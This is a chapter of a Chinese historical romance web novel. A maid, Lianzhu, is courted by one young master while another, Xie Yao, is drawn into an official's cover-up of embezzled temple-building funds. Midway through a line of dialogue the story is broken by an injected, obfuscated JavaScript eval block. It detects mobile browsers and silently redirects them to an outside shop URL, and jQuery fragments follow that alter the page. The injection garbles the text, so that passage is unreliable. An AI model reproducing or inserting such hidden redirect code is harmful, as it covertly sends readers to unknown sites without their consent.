连珠托腮听戏，那虞姬剑舞得人眼花缭乱，待谢培坐到自己身边才发觉来人。


    谢培目光并不落在戏台。


    他看连珠，看她抿唇轻笑时嘴角弯了的一点弧度，看她听到悲处微微蹙起的眉心。


    一颦一笑都比那咿咿呀呀的戏文来得吸引人。


    一曲终了，谢培问：“怎么样？好看吗？”


    连珠笑了笑：“嗯，不错。”


    “回来时碰到那伙计，看你点了戏。”


    “是。团团圆圆的，凑个年节的好意头。”连珠道。


    谢培替她续了茶，又道：“戏倒还罢了，我瞧着你的字却比从前写得好了许多，我在家时带你练都不愿，怎么如今肯下功夫了？”


    连珠概说了谢垚嫌她字丑，要她练字的事。


    谢培莞尔：“艺精靠磨炼，严师出高徒。难怪我敦促不了你，原是我狠不下心。”


    他一句话，两层意思，连珠听出其中的暧昧，斜睨他一眼，纤指点了台上翻了几个跟头出场的武生：“话多，戏开场了，还不好好看着？”


    连珠不欲叫谢培再说些亲昵调情的话，目不转睛地盯着戏台，自然也没注意斜对的窗□□来的那道目光。


    谢垚往演真轩的窗户看了许久，先是看连珠独坐窗前，又看谢培在她旁边坐下。


    笑语晏晏，郎才女貌，瞧着当真像是一对璧人。


    白文喜今儿特意请了他来听戏，早知道这谢校尉冷口冷面不喜颜色，这次更好，戏也不听，凝眸深思不知想得什么。


    戴了大碧玉扳指的手拿起茶碗，吹去茶面上的浮沫，喝了一口道：“看来咱家今日这地方没选对，谢校尉不喜欢听戏啊。”


    谢垚闻言收了目光，对着白文喜拱手道：“公公言重了，我于这丝竹管弦上确实不通，实是自己粗鄙，让公公见笑。”


    这白文喜是宫里的老人，又挂着寺庙监修的衔儿，奉旨督办建寺事宜，私下里又和齐王有些勾连，不是能得罪的人。


    白文喜呵呵一笑，也不深究，只摆手道：“谢校尉是做大事的人，自然没时间来研究什么风花雪月。”


    他说着，往谢垚身边靠了靠，尖细的声音稍微压低了些，带了几分推心置腹的意味：“谢校尉，这次的事咱家是真要谢你。你是成大事的人，我最欣赏的也是成大事的人。往后若有什么用得上咱家的地方，言语一声也就是了。”


    谢垚知道白文喜这话，便是将他视作一条船上的人。


    也是，建寺用的砖瓦价高市面两成，这么一大笔亏空，向上要钱的折子又被齐王压了下来，如果不是自己剿匪得了万两白银，可没这么容易能交代过去。


    白文喜事建寺监理，如此大的纰漏，担子自然是要他来扛的。


    自己替他解决了这么大个难题，他怎么能不谢自己。


    谢垚道：“既然我和公公同担这建寺的任务，就是分内之事，公公何故言谢。只是...”


    银两亏空之事扰他良久，得谢垚替他解决了此事，心情大好，他说什么都肯听：“谢校尉不妨有话直说。”


    “这事可还要再查下去？”


    白文喜脸上的笑容顿了一顿，他慢慢靠回椅背，手里那盏茶端得稳稳的，低头吹了吹茶沫，又呷了一口，才抬起眼皮看向谢垚。


    “谢校尉这话问得...”他拖长了调子，脸上又浮起笑来，深不见底，“咱家倒想问问谢校尉，还想查什么？”


    白文喜将那茶盏搁下，手指摩挲着那大碧玉扳指，慢悠悠道：“猫腻，咱家瞧见了；亏空，如今也填上了；该罚的，咱家心里有数；该报的，也自会报上去。”


    他抬眼看向谢垚，目光里带着几分过来人的意味深长：“谢校尉年轻有为，办事利落，咱家佩服。可这世上有些事，查得太清楚，反倒不好收场。听说谢校尉文墨通达，当然也懂水至清则无鱼，人至察则无徒的道理。”


    他语罢，偏过头去不再看谢垚，只是耳廓微微一动。


    待听到谢垚依旧是冷声开口，话里却说：“是，谢垚年轻不懂轻重。”


    白文喜满意笑了，端起茶盏，冲他举了举：“谢校尉明白就好，往后咱们共事的好日子还长着哩。”


    谢垚心念如电转，胸中早是雪亮。此间亏空，非止于下吏贪婪，实乃上有所好。


    恐那碧玉扳指上不知浸染多少账簿上的朱红。水至清则无鱼，可这水本就是他们搅浑的，自然盼着后来者同濯其足，共饮其浊。他方才故作迟钝，不过试探，倒真让他试出深浅来。


    朝堂诡谲，几方势力角逐，他已然入局。藏锋于鞘，隐芒于尘，日子确实还长，且走一步看一步罢。


    谢垚也端了茶盏，目光外露，看得却不是戏台。


    听完两出戏，等连珠到家的时候天已擦黑，靳九伸长脖子瞧见连珠是从马车上下来的，登时红光满面：“好好好，我靳家也是要飞黄腾达了！”


    范荣儿知道连珠心思，生怕她听了这话不高兴，一扯靳九的衣袖提醒道：“喝多了怕是嘴上没个把门的，什么话都敢说！”


    靳九向来惧内，即便是得意忘了形被范荣儿一制，又稍稍压下些狂喜。只是在连珠进屋之后，免不了东问西问些三少爷的事。


    连珠敷衍答了，又借口说累了独自回房待着。


    之后两日家中来往都是些亲眷，倒没见谢培再来。又过了两日，金环来传了话，说是谢培的老师自平江过来，两人不日就要上路。


    既是师傅来了，谢培定是时时刻刻都在旁作陪，恐怕临行之前要见上一面也难了。


    金环来这一趟，既是告诉连珠这一消息，也是来求个信物。


    连珠心道，谢培身上的香囊、吊坠哪一样不是出自自己的手，哪里还有什么能给的。


    只是金环来了，断没有空手走的道理，可年前把绣的荷包都卖了，也没有新的。


    “连珠姐姐还不知道少爷么？只要是姐姐的东西，少爷还能说不好么？不拘什么，随意寻个东西就是了。”


    虽然金环话是如此，但连珠还是警醒着，那些拿出去卖的香囊扇坠还罢了，若是女儿家的闺阁之物就这么给了人，保不齐闹出什么祸端来。


    瞧着金环赖在门边不肯走的样子，也知道没这么容易将他打发了。只好从屋里拿出个络子，递了金环道：“少爷不是有个海棠佩缺个络


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312883|195488||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子，便把这个拿去。”


    “诶！”金环见那络子配色素雅，又编得是精巧的步步生莲结，欢天喜地地拿了交差去。


    待送走金环，连珠回屋将匣子里攒下的银钱一并拿了出来。


    银票三百两，银锭四十五两，另有琐碎银两若干。


    里面不光是她在谢府三年多的月例，还有谢垚给的赏赐多半都换成了银子。


    那三百两银票是要贴身留着的，另外四十五两打点赎身的事宜。连珠收拾好银钱再次盘算起赴京的事宜。


    无论是行水路还是行陆路，她都趁着和亲眷闲聊时有一搭没一搭地问过了。行陆路快些，雇一辆骡车，十一二日便能到京城，只是路上不太平，她一个单身女子，恐生事端。行水路慢些，从延洲搭船沿运河北上，约莫要走上二十来天。


    待赎身的事办妥，便去寻一艘稳妥的客船，扮作寻常探亲的妇人，悄无声息地进京也就是了。


    至于靳九范荣儿的养育之恩自己是难报了，她会留下一百两银子，也算是一点心意。


    且说谢府那边年节里宾客如云，迎来送往好不热闹。初六日，门上来报沈夫之莅临，谢渊奉他上座，又命人速去唤谢培来见。


    在谢府待了两天，沈夫之便携谢培起身上路，谢渊重视，亲送到大门外。


    马车辚辚远去，连珠回府的时候正赶上这场面。


    车队从府东边而过，连珠站在巷口看了一阵，便从后门进府，一路往卧云居走。


    穿过月洞门时，恰碰见谢垚从院里头出来。


    他今日穿一件浅紫织游麟纹的锦袍，腰间系一玉带，正和顺心说着话，骤然看见连珠脚下微顿，停了片刻听她屈膝行礼：“二少爷。”


    连珠在家待了整整十日，谢垚却并非十日不曾见她。


    戏楼花窗后一张俏脸今儿落到面前，叫他无端想起谢培求他的事来，心里也奇怪，这丫头是有什么本事，笼络得他那一心功名的三弟魂牵梦绕。


    只是刚生出这个念头，心里莫名来了股烦躁，他又强压下去，对着连珠略一点头，连句话也没说，从她身侧走过。


    倒是顺心对着连珠呵呵一笑，又快步跟了上去。


    连珠没工夫揣摩主子心意，等人走了，依旧沿路往卧云居里头去。


    反倒是谢垚前行两步，又停了下来，略偏头往回看了一眼，竟只见门槛边翻飞的裙角。


    谢垚皱了眉头，方才还没注意，现下细细想来，自己给了这丫头不少赏赐，偏她身上穿的头上戴的还是从前那些半新不旧的东西，难道是那些赏赐入不了她的眼？


    不该啊，明明都是捡着她素日喜爱的穿戴选的...


    想到此处，他忽地扼住念头。


    什么时候自己竟在意起一个丫头穿什么？她用没用自己的赏赐，如何用那些赏赐跟自己又有什么相干？


    谢垚站在原地，脸色阴晴不定，许久没动。


    顺心在一旁等了半天，不知是何缘由。只是见他这副模样，也不敢出声，悄悄往后缩了缩。


    俄而，谢垚转过身，大步往外走去。


    顺心一愣，连忙跟上：“少爷，去哪儿？”